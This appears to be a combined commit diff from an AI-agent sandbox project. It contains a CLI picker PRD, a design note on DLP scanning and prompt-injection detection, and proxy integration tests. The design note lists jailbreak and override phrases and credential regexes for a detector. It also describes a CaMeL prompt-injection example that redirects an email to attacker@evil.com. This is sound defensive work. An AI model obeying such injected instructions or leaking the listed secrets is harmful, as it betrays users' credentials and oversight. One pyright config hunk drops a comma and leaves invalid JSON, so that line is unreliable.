 ## Problem
 With the dashboard removed (PRD 0049), starting an agent from memory is
 the only path. The operator must know the exact agent name and type it
 as a positional argument. For infrequent users or large manifests this
 is friction. A picker that appears automatically when the name is absent
 closes the gap with minimal ceremony.
 The same logic applies to backends: the operator rarely wants to specify
 `--backend` explicitly, but when they do they need to know the set of
 registered names. A picker on an empty `--backend` makes the choice
 visible.
 ## Goals / Success Criteria
 1. `./cli.py start` (no arguments) shows an interactive agent selector;
   the selected name is used exactly as if it had been passed on the
   command line.
 2. `./cli.py start <name>` (no `--backend`, no `BOT_BOTTLE_BACKEND`)
   shows an interactive backend selector; the selected backend is used
   exactly as if `--backend=<selected>` had been passed.
 3. `./cli.py start <name> --backend=<b>` (both explicit) shows neither
   screen — no behavioural change from today.
 4. `./cli.py start` (no arguments, no env backend) shows the agent
   selector first, then the backend selector.
 5. The filter-select widget is a standalone utility
   (`bot_bottle/cli/tui.py`) shared by both selectors.
 6. Pressing `Ctrl-C` or `q` in either selector exits cleanly (exit 0).
 7. The widget supports incremental filtering: typing narrows the list;
   `Backspace` removes the last character; `↑`/`↓`/`j`/`k` move the
   cursor; `Enter` confirms; `Esc`/`q` cancels.
 8. Unit tests cover: filtering logic, cursor movement, confirm, cancel,
   and the `cmd_start` dispatch (agent-absent, backend-absent,
   both-explicit, both-absent).
 ## Non-goals
 - The TUI is not a general-purpose picker exposed as a public API;
  it is an internal CLI utility.
 - No mouse support.
 - No pagination beyond what fits in the terminal window (scroll via
  cursor movement is sufficient for typical agent counts).
 - No multi-select; exactly one item is chosen per invocation.
 - No changes to `./cli.py resume`, `./cli.py list`, or any other
  subcommand.
 ## Design
 ### `bot_bottle/cli/tui.py` — `filter_select`
 ```python
 def filter_select(
    items: list[str],
    *,
    title: str = "",
    tty_path: str = "/dev/tty",
 ) -> str | None:
    """Render a filter-select picker over the items list.
    Returns the selected item string, or None if the user cancelled
    (Esc / q / Ctrl-C / Ctrl-D).
    Opens /dev/tty directly so the picker works even when stdout/stdin
    are redirected — same pattern as `read_tty_line`.
    """
 ```
 The widget renders to the tty file descriptor opened via `curses.initscr`
 (or `curses.newterm` on the tty fd so stdout remains clean for callers
 that pipe `./cli.py`).
 Layout (full-width, minimal):
 ```
  Select agent                   (title, top line)
  Filter: <query>_               (filter line)
  ─────────────────────────────
  > researcher
    implementer
    codex-researcher
    ...
  ─────────────────────────────
  [↑↓/jk] move  [Enter] select  [Esc/q] cancel
 ```
 - Lines below the filter are the filtered items; the cursor (`>`) marks
  the selection.
 - The list re-renders on every keypress.
 - Terminal resize is not handled (SIGWINCH); if the window is too small
  the picker exits with None.
 ### Changes to `cmd_start`
 `name` changes from a required positional to an optional one
 (`nargs="?"`). The post-parse block checks:
 ```python
 agent_name = args.name
 if agent_name is None:
    manifest = Manifest.resolve(USER_CWD)
    agent_name = tui.filter_select(
        sorted(manifest.agents.keys()),
        title="Select agent",
    )
    if agent_name is None:
        return 0  # user cancelled
 backend_name = args.backend
 if backend_name is None and "BOT_BOTTLE_BACKEND" not in os.environ:
    backend_name = tui.filter_select(
        list(known_backend_names()),
        title="Select backend",
    )
    if backend_name is None:
        return 0  # user cancelled
 ```
 The `manifest` object is resolved before the backend selection so the
 agent picker can populate itself from the real manifest. The same
 `manifest` is passed to `BottleSpec`; it is not resolved a second time.
 ### `/dev/tty` isolation
 `filter_select` opens `/dev/tty` and feeds it as the input file to
 `curses.wrapper`-equivalent code (using `curses.newterm` to avoid
 clobbering the caller's stdout/stderr). This keeps the picker
 composable — callers can pipe `./cli.py` output without the curses
 draw sequences contaminating the pipe.
 ## Implementation chunks
 1. **`tui.py` + tests.** Add `bot_bottle/cli/tui.py` with
   `filter_select` and unit tests in `tests/unit/test_cli_tui.py`.
 2. **Wire into `cmd_start` + tests.** Make `name` optional, add the
   two-gate dispatch, extend `tests/unit/test_cli_start_selector.py`.
 3. **Activate PRD 0051.** Flip Status Draft → Active in the same commit
   that lands the implementation.
 ## Open questions
 None. Scope is fully determined by the issue description.
@@ -1,505 +0,0 @@
 # DLP alternatives to pipelock: per-route configuration and response handling
 ## Question
 Pipelock lacks support for per-route or per-host response scanning rules, making it impossible to skip DLP scanning for large binary downloads (e.g., `.whl` files) while keeping scanning enabled for other traffic on the same host. Should we replace pipelock with a purpose-built DLP/token-scanning proxy that supports granular per-route configuration?
 ## Summary
 Yes. Pipelock's flat, global configuration is fundamentally at odds with the per-route model bot-bottle is built on. A custom or configurable DLP proxy built atop mitmproxy (which we already use for egress) would let us:
 1. **Skip DLP scanning selectively** — e.g., scan responses from PyPI for credentials but skip scanning `.whl` file contents
 2. **Configure scanning per-route** — different rules for different hosts/paths without global toggles
 3. **Reduce operational surface** — one proxy (egress) instead of two (egress + pipelock)
 4. **Target AI-specific threats** — focus on credential exfiltration and prompt injection instead of generic DLP
 **Tradeoff:** We'd need to maintain our own scanning logic. Pipelock provides out-of-the-box BIP-39 seed-phrase detection, entropy checks, and pluggable DLP rules. Building custom logic means we need to be explicit about what we're protecting against and keep that code auditable.
 ## Current pipelock limitations
 ### Issue 1: No per-route response scanning rules
 Pipelock's response scanning is part of TLS interception — a global feature with no per-host knobs:
 ```yaml
 tls_interception:
  enabled: true
  passthrough_domains: [...]  # Can skip MITM, but not just response scanning
 ```
 **Status:** Tested with pipelock v2.3.0. Confirmed that:
 - `response_body_scanning` config field doesn't exist
 - No way to set per-host response size limits
 - No way to skip scanning for specific file extensions
 - `tls_passthrough: true` disables both request AND response scanning (we want request scanning to stay on)
 ### Issue 2: Global configuration only
 All of pipelock's scanning rules are global. If route A wants to skip `.whl` scanning and route B wants to skip `.tar.gz`, there's nowhere to express that distinction — the config is flat.
 ### Issue 3: LLM prompt-specific false positives
 Pipelock's BIP-39 seed-phrase detector fires on any 12+ English words matching a checksum, which is common in LLM prompts/responses. Bot-bottle disables this detector globally, sacrificing protection.
 ### Issue 4: No prompt injection detection
 **Important clarification:** Pipelock does NOT detect prompt injections. It detects:
 - Token patterns (regex)
 - Entropy (random-looking strings)
 - BIP-39 seed phrases (12+ word checksums)
 But it cannot detect semantic attacks like:
 - Attempts to exfiltrate system prompts
 - Jailbreak attempts ("ignore previous instructions")
 - Model output that reveals internal system details
 This is a novel threat specific to LLM agents that pipelock wasn't designed for.
 ## Replacement design: mitmproxy-based DLP addon
 Since bot-bottle already uses mitmproxy for egress (PRD 0017), we can extend the mitmproxy addon to do DLP scanning alongside egress rules:
 ### Architecture
 ```
 Agent
  ↓ (HTTP_PROXY=http://egress:8080)
 Egress (mitmproxy)
  ├─ Addon 1: Path allowlisting (current)
  ├─ Addon 2: Credential injection (current)
  └─ Addon 3: DLP scanning (NEW)
       ├─ Config: per-route scanning rules from manifest
       ├─ Detectors: token patterns, prompt injection, entropy
       └─ Action: block/warn based on route config
 ```
 ### Per-route configuration in manifest
 Routes separately configure **outbound** (request to upstream) and **inbound** (response from upstream) scanning:
 ```yaml
 egress:
  routes:
    - host: api.anthropic.com
      dlp:
        outbound_detectors: [token_patterns, known_secrets]  # default
        inbound_detectors: [naive_injection_detection]  # default
    - host: files.pythonhosted.org
      dlp:
        outbound_detectors: [token_patterns, known_secrets]
        inbound_detectors: false  # Skip response scanning (binary downloads)
    - host: internal-service.corp
      dlp:
        outbound_detectors: false
        inbound_detectors: false  # Trusted internal, no scanning
 ```
 **Detectors:**
 - `token_patterns` — API keys, GitHub tokens, AWS credentials, etc.
 - `known_secrets` — Secrets we provisioned (API keys, OAuth tokens passed via cred-proxy)
 - `naive_injection_detection` — Semantic attacks on system prompt (see section below)
 ### Detector design
 Three core detectors, each with tunable sensitivity:
 1. **Token detector**
   - Regex patterns for API keys (AWS `AKIA`, GitHub `ghp_`, etc.)
   - Anthropic/OpenAI API keys
   - OAuth tokens (Bearer patterns)
   - Action: Block immediately with no false-positive tolerance
 2. **Entropy detector**
   - Shannon entropy threshold (bits/char)
   - Flags high-entropy secrets (tunable per-route)
   - Current pipelock default: 4.5 bits/char
   - Action: Warn or block based on route config
 3. **Prompt injection detector** (phase 2)
   - Detect attempts to exfiltrate system prompts via LLM outputs
   - Pattern: responses containing "system prompt", "instructions", "directive" + credential
   - Action: Block or sample for audit
 ### Advantages over pipelock
 | Aspect | Pipelock | Mitmproxy addon |
 |--------|----------|-----------------|
 | Per-route rules | ❌ (global only) | ✅ (manifest-driven) |
 | Response-specific config | ❌ (all-or-nothing) | ✅ (request_only, skip_extensions) |
 | Request scanning overhead | ✅ (lightweight) | ~same |
 | Maintenance burden | Low (third-party) | High (custom code) |
 | Auditability | Closed source | ✅ (in-repo) |
 | AI-specific detection | Limited | ✅ (token patterns, prompt injection) |
 | Code reuse | None | ✅ (egress addon framework) |
 ### Disadvantages
 1. **Maintenance responsibility** — We own the security logic. Any bugs in detector regexes or entropy thresholds are our problem.
 2. **Feature parity gap** — Pipelock's BIP-39 detector is sophisticated. We'd need to decide: replicate it, skip it, or ship a simplified version.
 3. **Performance** — Custom Python detectors will be slower than pipelock's Go implementation. Benchmarking needed.
 4. **Coverage breadth** — Pipelock covers generic DLP (credit cards, SSNs, etc.). We'd focus narrowly on AI/credential exfil.
 ## Alternative: Configurable pipelock fork
 Rather than build from scratch, fork pipelock and add `response_body_scanning` config:
 ```yaml
 response_body_scanning:
  enabled: true
  skip_extensions: [".whl", ".tar.gz"]
  max_response_bytes: 104857600  # 100MB
 ```
 **Pros:**
 - Reuses existing detectors and maturity
 - Lower maintenance burden
 - Clear path to upstream (could be PR'd)
 **Cons:**
 - Still maintains a fork
 - Pipelock's maintainers may not want global per-host rules
 - Go code is farther from our codebase (harder to audit)
 - Doesn't solve prompt-injection detection
 ## Recommendation
 **Build the mitmproxy addon** (phase 1: tokens + entropy; phase 2: prompt injection).
 **Rationale:**
 1. Bot-bottle already owns the mitmproxy egress addon — extending it keeps security logic in-repo and auditable.
 2. Per-route DLP configuration aligns with bot-bottle's design (PRD 0017 is already per-route).
 3. Replacing pipelock reduces sidecar count and operational surface.
 4. AI-specific detectors (tokens, prompt injection) matter more than generic DLP for agent containment.
 **Fallback:** If performance testing shows unacceptable latency in the Python addon, revisit the pipelock fork approach.
 ## Naive prompt injection detector design
 Since pipelock doesn't detect prompt injections, we need a custom detector. Here's a permissive design that favors missing attacks over false positives:
 ### What to detect
 **High confidence (block immediately):**
 1. Response contains known credential pattern + "system prompt" phrase together
 2. Response contains both "instructions" and a token pattern
 **Medium confidence (warn):**
 1. Response contains prompt-disclosure phrases without credentials (might be innocent documentation)
 2. Multiple jailbreak keywords in single response
 **Ignore (too noisy):**
 - Single jailbreak keywords without additional context
 - "system prompt" in documentation contexts
 - Common phrases like "instructions provided"
 ### Naive detector pseudocode
 ```python
 class PromptInjectionDetector:
    # Phrases that suggest prompt exfiltration
    DISCLOSURE_PHRASES = [
        r'(?i)(system\s+prompt|instructions\s+given|your\s+role\s+is|you\s+are\s+an?)',
        r'(?i)(original\s+instructions|secret\s+instructions|hidden\s+rules)',
    ]
    # Phrases suggesting jailbreak attempts
    JAILBREAK_PHRASES = [
        r'(?i)(ignore\s+previous|forget\s+everything|disregard)',
        r'(?i)(from\s+now\s+on|pretend|act\s+as)',
        r'(?i)(bypass|circumvent|override)',
    ]
    TOKEN_PATTERNS = [
        r'AKIA[0-9A-Z]{16}',  # AWS
        r'ghp_[A-Za-z0-9_]{36}',  # GitHub
        r'sk_live_[A-Za-z0-9]{24}',  # Stripe
        r'Bearer\s+[A-Za-z0-9._-]{50,}',  # JWT-like tokens
    ]
    def scan_response(self, response_body):
        """Returns (severity, reason) or (None, None) if clean."""
        # Rule 1: Disclosure + token = HIGH confidence block
        disclosure_found = any(
            re.search(phrase, response_body) 
            for phrase in self.DISCLOSURE_PHRASES
        )
        token_found = any(
            re.search(pattern, response_body)
            for pattern in self.TOKEN_PATTERNS
        )
        if disclosure_found and token_found:
            return ("BLOCK", "Prompt disclosure with embedded credential")
        # Rule 2: Multiple jailbreak keywords = WARN
        jailbreak_count = sum(
            1 for phrase in self.JAILBREAK_PHRASES
            if re.search(phrase, response_body)
        )
        if jailbreak_count >= 2:
            return ("WARN", f"{jailbreak_count} jailbreak attempts detected")
        # Rule 3: Disclosure alone without tokens = WARN only if very explicit
        if disclosure_found and "system prompt:" in response_body.lower():
            return ("WARN", "Explicit system prompt disclosure")
        # Otherwise: clean
        return (None, None)
 ```
 ### Why this is permissive
 1. **Single keywords ignored** — "ignore previous instructions" in a legitimate conversation doesn't trigger
 2. **Context required** — disclosure phrases need tokens or multiple jailbreak attempts
 3. **Documentation exemption** — "instructions provided" in a help section won't block
 4. **Warn vs. block** — Only block on high-confidence signals; warn on medium
 5. **No entropy-based guessing** — We don't try to be clever about detecting obfuscated prompts
 ### False negatives this misses
 This detector intentionally lets through:
 - Prompt injections using novel phrasing we haven't seen
 - Obfuscated jailbreak attempts ("behave differently", "role-play")
 - Exfiltration via indirect methods ("describe the system", "what are your constraints")
 - Sophisticated attacks that split the prompt across multiple exchanges
 **Rationale:** Better to miss a sophisticated jailbreak than block legitimate agent output 100 times/day.
 ### Per-route configuration
 Routes can enable/disable prompt injection scanning:
 ```yaml
 egress:
  routes:
    - host: api.anthropic.com
      dlp:
        enabled: true
        detectors: [tokens, prompt_injection]
    - host: internal-docs.corp
      dlp:
        enabled: true
        detectors: [tokens]  # Skip prompt injection (trusted internal)
 ```
 ## Implementation phases
 ### Phase 1: Secret exfiltration detection
 **Goal:** Prevent credentials from leaking to upstream services
 - **Token patterns detector** — API keys, GitHub tokens, AWS credentials (regex-based)
 - **Known secrets detector** — Check if provisioned credentials appear in outbound traffic
  - Secrets passed to cred-proxy or agent environment
  - Multiple encodings (base64, hex, URL-encoded variants)
 - **Outbound scanning by default** — enabled for all routes unless explicitly disabled
 - **Per-route config:** `outbound_detectors: [token_patterns, known_secrets]`
 - **Action:** Block immediately on token match; warn on entropy threshold (tuned low to avoid false positives)
 ### Phase 2: Prompt injection detection
 **Goal:** Prevent agents from exfiltrating system prompts or being jailbroken
 #### Option A: Naive pattern-based detector
 - **Naive injection detector** — as sketched above
 - **Inbound scanning by default** — enabled for all routes unless explicitly disabled
 - **Per-route config:** `inbound_detectors: [naive_injection_detection]`
 - **Actions:**
  - BLOCK: Credential + prompt disclosure detected
  - WARN: Multiple jailbreak keywords or explicit prompt disclosure
  - ALLOW: Single keywords or documentation phrases
 #### Option B: LLM-based semantic detector
 See section below on using a specialized LLM for prompt injection detection.
 ### Phase 3: Hardening & tuning
 - Real-world false positive analysis from Phase 1 & 2
 - Rate limiting on DLP blocks
 - Audit/sampling mode for flagged responses
 - Additional encodings for known_secrets (GZIP, base32, etc.)
 ## LLM-based prompt injection detection
 ### Viability analysis
 **Tradeoff:** Using an LLM to detect prompt injections is semantically more powerful than regex, but has latency and resource costs.
 **Requirements for bot-bottle:**
 - Sub-100ms latency (add-on to HTTP proxy, can't block traffic significantly)
 - <1GB RAM footprint (runs in sidecar alongside mitmproxy)
 - Simple API (classify: safe/injection/suspicious)
 - Preferably quantized/distilled (not full-size models)
 **Feasibility:** Marginal. Regex patterns are faster, but an LLM could catch sophisticated attacks.
 ### Existing models
 **Purpose-built prompt injection detectors:**
 1. **Rebuff.ai's Prompt Injection API** (closed-source, commercial)
   - Hosted detection service
   - ~50ms per request
   - Not viable (external dependency, adds latency)
 2. **Microsoft's Presidio** + custom rules
   - Entity recognition + PII detection
   - Broader than prompt injection
   - Would need custom training for jailbreak/disclosure patterns
 3. **HuggingFace models:**
   - `roberta-large-openai-detector` — detects GPT-2 text (not injections)
   - No off-the-shelf model specifically for prompt injection
 **Training a custom model:**
 - **Data:** Dataset of prompt injection attempts vs. legitimate responses (limited public datasets)
 - **Architecture:** Binary classifier (DistilBERT, ALBERT) fine-tuned on injection examples
 - **Size:** DistilBERT ~268MB, quantized ~67MB (acceptable footprint)
 - **Latency:** ~50-150ms per response on CPU (concerning for proxy)
 ### Recommendation
 **Phase 2a: Use naive pattern detector** (regex-based, sketched above)
 - Fast (<5ms per response)
 - Low false positives with permissive rules
 - No external dependencies
 **Phase 2b (optional, if needed): Evaluate LLM approach**
 - Collect real-world false negatives from pattern detector
 - If sophisticated attacks slip through, consider DistilBERT-based classifier
 - Quantize + run locally in sidecar
 - Benchmark against 100ms latency budget
 - Fall back to patterns if latency unacceptable
 **Why not jump to LLM:**
 1. Latency: 50-150ms adds significant overhead to every response
 2. Complexity: Custom model training needed; no off-the-shelf solution
 3. Overkill: Pattern detector catches obvious attacks; sophisticated attacks are rare
 4. Unknown unknowns: Adversaries can evade LLM-based detectors via adversarial prompts
 ### If we do build an LLM detector
 ```python
 # Sketch of LLM-based detection
 class LLMPromptInjectionDetector:
    def __init__(self):
        # Quantized DistilBERT, fine-tuned on injection examples
        self.model = load_model("prompt-injection-classifier-q4")  # ~67MB
        self.tokenizer = load_tokenizer("distilbert-base-uncased")
    def scan_response(self, response_body, timeout_ms=100):
        """
        Returns: (verdict, confidence)
        - verdict: "safe", "suspicious", "injection"
        - confidence: 0.0-1.0
        """
        try:
            # Timeout hard at 100ms to avoid proxy bottleneck
            tokens = self.tokenizer.encode(response_body[:2000], truncation=True)
            logits = self.model(tokens, timeout=timeout_ms)
            injection_score = logits["injection_class"]
            if injection_score > 0.9:
                return ("injection", injection_score)
            elif injection_score > 0.7:
                return ("suspicious", injection_score)
            else:
                return ("safe", injection_score)
        except TimeoutError:
            # On timeout, fall back to pattern detector
            return self.fallback_pattern_detector(response_body)
 ```
 **Deployment questions:**
 1. Which LLM framework? (transformers, ONNX, TensorRT?)
 2. How to handle out-of-memory on large responses?
 3. How to update model if new jailbreak techniques emerge?
 4. Should we ensemble: LLM + patterns for high-confidence blocks?
 ## CaMeL: Architectural prompt injection defense
 [CaMeL](https://github.com/google-research/camel-prompt-injection) (CApabilities for MachinE Learning) is a Google DeepMind research project that takes a fundamentally different approach to prompt injection. Rather than *detecting* injections at the network layer (like everything above), CaMeL *prevents* them by architecture — it makes prompt injections structurally unable to cause harm even when the underlying LLM is fully compromised.
 ### How CaMeL works
 CaMeL wraps the agent in a protective execution layer with three components:
 1. **Privileged LLM (P-LLM):** Sees ONLY the user's trusted query. Generates a plan as restricted Python code — which tools to call, in what order, with what data flow. Never sees untrusted content (tool outputs, external data).
 2. **Quarantined LLM (Q-LLM):** Processes untrusted data (parsing emails, extracting names from documents). Has NO tool access. Even if prompt-injected, it can only return parsed data — it cannot change which tools run or how they're called.
 3. **CaMeL interpreter:** Executes the P-LLM's plan, maintains a **data flow graph** tracking every value's provenance (where it came from, who can read it), and enforces **capability-based security policies** before each tool call.
 Example flow for "Send Bob the document from our meeting notes":
 ```
 P-LLM generates plan (trusted, no external data):
    notes = find_meeting_notes()
    doc_name = query_quarantined_llm(f"extract doc name from {notes}")
    doc = fetch_document(doc_name)
    address = query_quarantined_llm(f"extract Bob's email from {notes}")
    send_email(doc, address)
 Interpreter executes:
    1. find_meeting_notes() → tags result as source:notes, readers:[user]
    2. Q-LLM extracts doc name → even if injected, Q-LLM can't call tools
    3. fetch_document() → tags result with source:drive
    4. Q-LLM extracts email → even if injected to return attacker@evil.com,
       the capability check on send_email() catches that `address` came from
       an untrusted source and blocks or prompts the user
 ```
 The key insight: **control flow is determined by the trusted P-LLM's code, not by data content**. Untrusted data can never alter which tools run. And capabilities track provenance so that even manipulated *data values* get caught at tool-call time.
 ### Performance
 On AgentDojo benchmark: **77% task completion with provable security guarantees** vs. 84% for an undefended agent. The 7% utility cost comes from the interpreter occasionally being too conservative (blocking legitimate operations where data provenance is ambiguous).
 ### Integration with bot-bottle: assessment
 **CaMeL is NOT a replacement for pipelock or a network-layer DLP scanner.** It operates at a completely different layer — it's an agent execution framework, not a proxy. It wouldn't help with the original problem (scanning `.whl` downloads for credentials).
 However, CaMeL is deeply relevant to bot-bottle's broader security model:
 | Layer | Current bot-bottle | CaMeL equivalent |
 |-------|-------------------|------------------|
 | Network egress | Pipelock (hostname allowlist + DLP) | N/A (doesn't operate here) |
 | Credential injection | Egress addon (per-route auth) | N/A |
 | Tool access control | None (agent has full permissions) | **Capability-based policies** |
 | Data provenance | None | **Data flow graph** |
 | Control flow integrity | None (agent decides everything) | **P-LLM generates plan, interpreter enforces** |
 **What CaMeL would add that bot-bottle lacks today:**
 - **Data flow tracking** — bot-bottle controls *which hosts* an agent can reach, but not *what data* flows to those hosts. CaMeL tracks provenance per-value.
 - **Tool-call policies** — bot-bottle doesn't restrict which tools an agent calls or what arguments it passes. CaMeL enforces policies at every tool invocation.
 - **Separation of planning and execution** — bot-bottle gives the agent full autonomy. CaMeL splits planning (trusted) from data processing (untrusted).
 **Why CaMeL is NOT viable for bot-bottle today:**
 1. **Research artifact, not production software.** The README explicitly warns: "the interpreter implementation likely contains bugs...and might not be fully secure." Apache-2.0 licensed but no maintenance commitment.
 2. **Requires restructuring the agent.** CaMeL doesn't wrap an existing agent — it *replaces* the agent's execution model. Claude Code / Codex would need to be fundamentally rearchitected to generate CaMeL-compatible plans instead of directly calling tools. This is not a drop-in.
 3. **LLM overhead.** CaMeL requires two LLM calls per step (P-LLM for planning, Q-LLM for data parsing). For a coding agent that makes hundreds of tool calls per session, this doubles API costs and adds significant latency.
 4. **Utility cost.** 7% task completion loss on AgentDojo. For a coding agent where correctness matters, even small degradation in capability could be unacceptable.
 5. **Scope mismatch.** CaMeL protects against prompt injection via untrusted data sources. Bot-bottle's primary threat model is credential exfiltration and sandbox escape — different attack surface.
 ### Verdict
 **Don't integrate CaMeL now.** It solves a real problem (prompt injection via data flow manipulation) but at a layer bot-bottle doesn't currently operate at, and with maturity/integration costs that are too high.
 **Watch it for the future.** If CaMeL matures into a production-ready library, its capability model could complement bot-bottle's network-layer controls — bot-bottle handles "which hosts can the agent reach" while CaMeL handles "what data can flow to those hosts." The combination would be defense-in-depth across both network and application layers.
 **For now, our phases stand:** Phase 1 (outbound secret exfiltration via DLP addon) and Phase 2 (inbound prompt injection via naive pattern detector) address bot-bottle's immediate needs at the network layer where we already operate.
 ## Open questions
 1. **Performance:** How much latency does Python string-matching add? Benchmark against pipelock.
 2. **False positives:** Will entropy detector trip on legitimate high-entropy traffic (e.g., binary API responses)? Need real-world testing.
 3. **Coverage:** Are regex patterns sufficient, or do we need more sophisticated token detection (e.g., format validation)?
 4. **Upstream:** If we build this, should we upstream it as an option to pipelock, or keep it bot-bottle-specific?
 5. **CaMeL long-term:** Monitor the project for production readiness. If it stabilizes, evaluate as a complementary application-layer defense alongside our network-layer DLP.
@@ -11,10 +11,5 @@
  ],
  "pythonVersion": "3.11",
  "typeCheckingMode": "strict",
-  "reportMissingTypeStubs": "none",
+  "reportMissingTypeStubs": "none"
  "reportUnknownMemberType": false,
  "reportUnknownParameterType": false,
  "reportUnknownVariableType": false,
  "reportUnknownArgumentType": false,
  "reportPrivateUsage": false
 }
@@ -1,6 +0,0 @@
 # Development and linting dependencies only.
 # The bot-bottle project itself has no runtime dependencies.
 # These tools are used for code quality checks in CI/CD.
 pylint>=3.0.0
 pyright>=1.1.300
@@ -0,0 +1,45 @@
 """Canary: the pinned pipelock image's binary actually runs.
 This test exists to catch a broken upstream packaging at the pinned
 digest. It is NOT part of the per-push suite — that would couple every
 dev push to upstream registry availability. Set
 BOT_BOTTLE_RUN_CANARIES=1 to opt in (a scheduled CI workflow does
 this; humans can run it ad-hoc the same way).
 """
 import os
 import subprocess
 import unittest
 from bot_bottle.backend.docker.pipelock import PIPELOCK_IMAGE
 from tests._docker import skip_unless_docker
@unittest.skipUnless(
    os.environ.get("BOT_BOTTLE_RUN_CANARIES") == "1",
    "canary suite is opt-in; set BOT_BOTTLE_RUN_CANARIES=1 to run",
 )
@skip_unless_docker()
 class TestPipelockImage(unittest.TestCase):
    @classmethod
    def setUpClass(cls):
        result = subprocess.run(
            ["docker", "pull", PIPELOCK_IMAGE],
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
            check=False,
        )
        if result.returncode != 0:
            raise unittest.SkipTest(f"could not pull {PIPELOCK_IMAGE}")
    def test_binary_runs(self):
        result = subprocess.run(
            ["docker", "run", "--rm", PIPELOCK_IMAGE, "--version"],
            capture_output=True, text=True, check=False,
        )
        out = result.stdout + result.stderr
        self.assertRegex(out, r"[Pp]ipelock|2\.[0-9]+\.[0-9]+")
 if __name__ == "__main__":
    unittest.main()
@@ -24,6 +24,7 @@ this test runs in DinD too — no act_runner skip needed.
 from __future__ import annotations
 import os
 import shutil
 import subprocess
 import tempfile
 import time
@@ -31,7 +32,7 @@ import unittest
 from pathlib import Path
 from bot_bottle import supervise
-from bot_bottle.backend.docker import bottle_state
+from bot_bottle.backend.docker import bottle_state, capability_apply
 from bot_bottle.backend.docker.capability_apply import apply_capability_change
 from bot_bottle.backend.docker.network import (
    network_create_egress,
@@ -0,0 +1,110 @@
 """Integration: a Node request to a host on pipelock's allowlist is
 tunneled through.
 End-to-end mirror of test_pipelock_block_node: drives `BottleBackend.
 prepare → launch` so the real image build, network plumbing, and
 pipelock sidecar are all in the loop. Inside the bottle, a Node
 script issues an HTTPS CONNECT for raw.githubusercontent.com:443 —
 a host in the baked-in default allowlist — through `$HTTPS_PROXY`.
 Pipelock must answer 200 Connection Established. The 200 vs. 403
 split on CONNECT is decided by pipelock itself (the remote never
 sees the CONNECT verb), so it isolates the allowlist decision from
 anything the remote might return.
 """
 from __future__ import annotations
 import os
 import shutil
 import tempfile
 import unittest
 from pathlib import Path
 from bot_bottle.backend import BottleSpec, get_bottle_backend
 from tests._docker import skip_unless_docker
 from tests.fixtures import fixture_minimal
 # Output contract (parsed by the test):
 #   - "connect=<code>"  proxy upgraded to a tunnel (CONNECT success path)
 #   - "status=<code>"   proxy answered without tunneling (block path)
 #   - "error=<code> <message>"  transport-level failure
 #   - "timeout"         request hung
 _PROBE_JS = r"""
 const http = require('http');
 const proxy = new URL(process.env.HTTPS_PROXY);
 const req = http.request({
  host: proxy.hostname,
  port: proxy.port,
  method: 'CONNECT',
  path: 'raw.githubusercontent.com:443',
 });
 req.on('connect', (res, socket) => {
  console.log('connect=' + res.statusCode);
  socket.destroy();
  process.exit(0);
 });
 req.on('response', (res) => {
  res.resume();
  res.on('end', () => {
    console.log('status=' + res.statusCode);
    process.exit(0);
  });
 });
 req.on('error', (e) => {
  console.log('error=' + (e.code || '') + ' ' + e.message);
  process.exit(0);
 });
 req.setTimeout(5000, () => {
  console.log('timeout');
  req.destroy();
 });
 req.end();
 """
@skip_unless_docker()
 class TestPipelockAllowsNode(unittest.TestCase):
    @unittest.skipIf(
        os.environ.get("GITEA_ACTIONS") == "true",
        "skipped under act_runner: docker socket mount topology breaks "
        "in-process visibility of networks created on the host daemon",
    )
    def test_node_request_to_allowed_host_is_tunneled(self):
        backend = get_bottle_backend()
        stage_dir = Path(tempfile.mkdtemp(prefix="cb-test-stage."))
        try:
            spec = BottleSpec(
                manifest=fixture_minimal(),
                agent_name="demo",
                copy_cwd=False,
                user_cwd=str(stage_dir),
            )
            plan = backend.prepare(spec, stage_dir=stage_dir)
            with backend.launch(plan) as bottle:
                script = (
                    "set -e\n"
                    "cat > /tmp/probe.js <<'PROBE_EOF'\n"
                    f"{_PROBE_JS}\n"
                    "PROBE_EOF\n"
                    "node /tmp/probe.js\n"
                )
                result = bottle.exec(script)
        finally:
            shutil.rmtree(stage_dir, ignore_errors=True)
        self.assertEqual(
            0, result.returncode,
            f"exec wrapper failed: stdout={result.stdout!r} stderr={result.stderr!r}",
        )
        # raw.githubusercontent.com IS in fixture_minimal's effective
        # allowlist (baked-in default). Pipelock must answer the CONNECT
        # with 200 Connection Established.
        self.assertIn(
            "connect=200", result.stdout,
            f"pipelock should have tunneled to raw.githubusercontent.com; got: {result.stdout!r}",
        )
 if __name__ == "__main__":
    unittest.main()
@@ -0,0 +1,83 @@
 """Integration: with pipelock's tls_interception enabled (PRD 0006),
 a clean HTTPS GET to an allowlisted host succeeds end-to-end through
 the bumped tunnel.
 Complement to test_pipelock_blocks_secret_https_post — together they
 pin pipelock's two paths (block on body match, allow on clean
 traffic). This test is also the implicit TLS-trust check: if
 provision_ca had failed to install pipelock's CA into the agent's
 trust store, curl would have rejected the bumped leaf cert and the
 fetch would have failed before any HTTP response could come back."""
 from __future__ import annotations
 import os
 import shutil
 import tempfile
 import unittest
 from pathlib import Path
 from bot_bottle.backend import BottleSpec, get_bottle_backend
 from tests._docker import skip_unless_docker
 from tests.fixtures import fixture_minimal
 # raw.githubusercontent.com is in the baked-in DEFAULT_ALLOWLIST.
 # `git`'s own README on the master branch is a long-lived raw file
 # (~3 KB) that any CI runner with internet can fetch.
 _TARGET_URL = "https://raw.githubusercontent.com/git/git/master/README.md"
@skip_unless_docker()
 class TestPipelockAllowsNormalHttps(unittest.TestCase):
    @unittest.skipIf(
        os.environ.get("GITEA_ACTIONS") == "true",
        "skipped under act_runner: docker socket mount topology breaks "
        "in-process visibility of networks created on the host daemon",
    )
    def test_https_get_to_allowed_host_succeeds(self):
        backend = get_bottle_backend()
        stage_dir = Path(tempfile.mkdtemp(prefix="cb-test-stage."))
        try:
            spec = BottleSpec(
                manifest=fixture_minimal(),
                agent_name="demo",
                copy_cwd=False,
                user_cwd=str(stage_dir),
            )
            plan = backend.prepare(spec, stage_dir=stage_dir)
            with backend.launch(plan) as bottle:
                script = (
                    "set -eu\n"
                    'curl --proxy "$HTTPS_PROXY" -s --max-time 10 \\\n'
                    "  -w 'status=%{http_code}\\n' \\\n"
                    "  -o /tmp/probe-body.txt \\\n"
                    f"  {_TARGET_URL}\n"
                    'echo "len=$(wc -c < /tmp/probe-body.txt)"\n'
                )
                result = bottle.exec(script)
        finally:
            shutil.rmtree(stage_dir, ignore_errors=True)
        self.assertEqual(
            0, result.returncode,
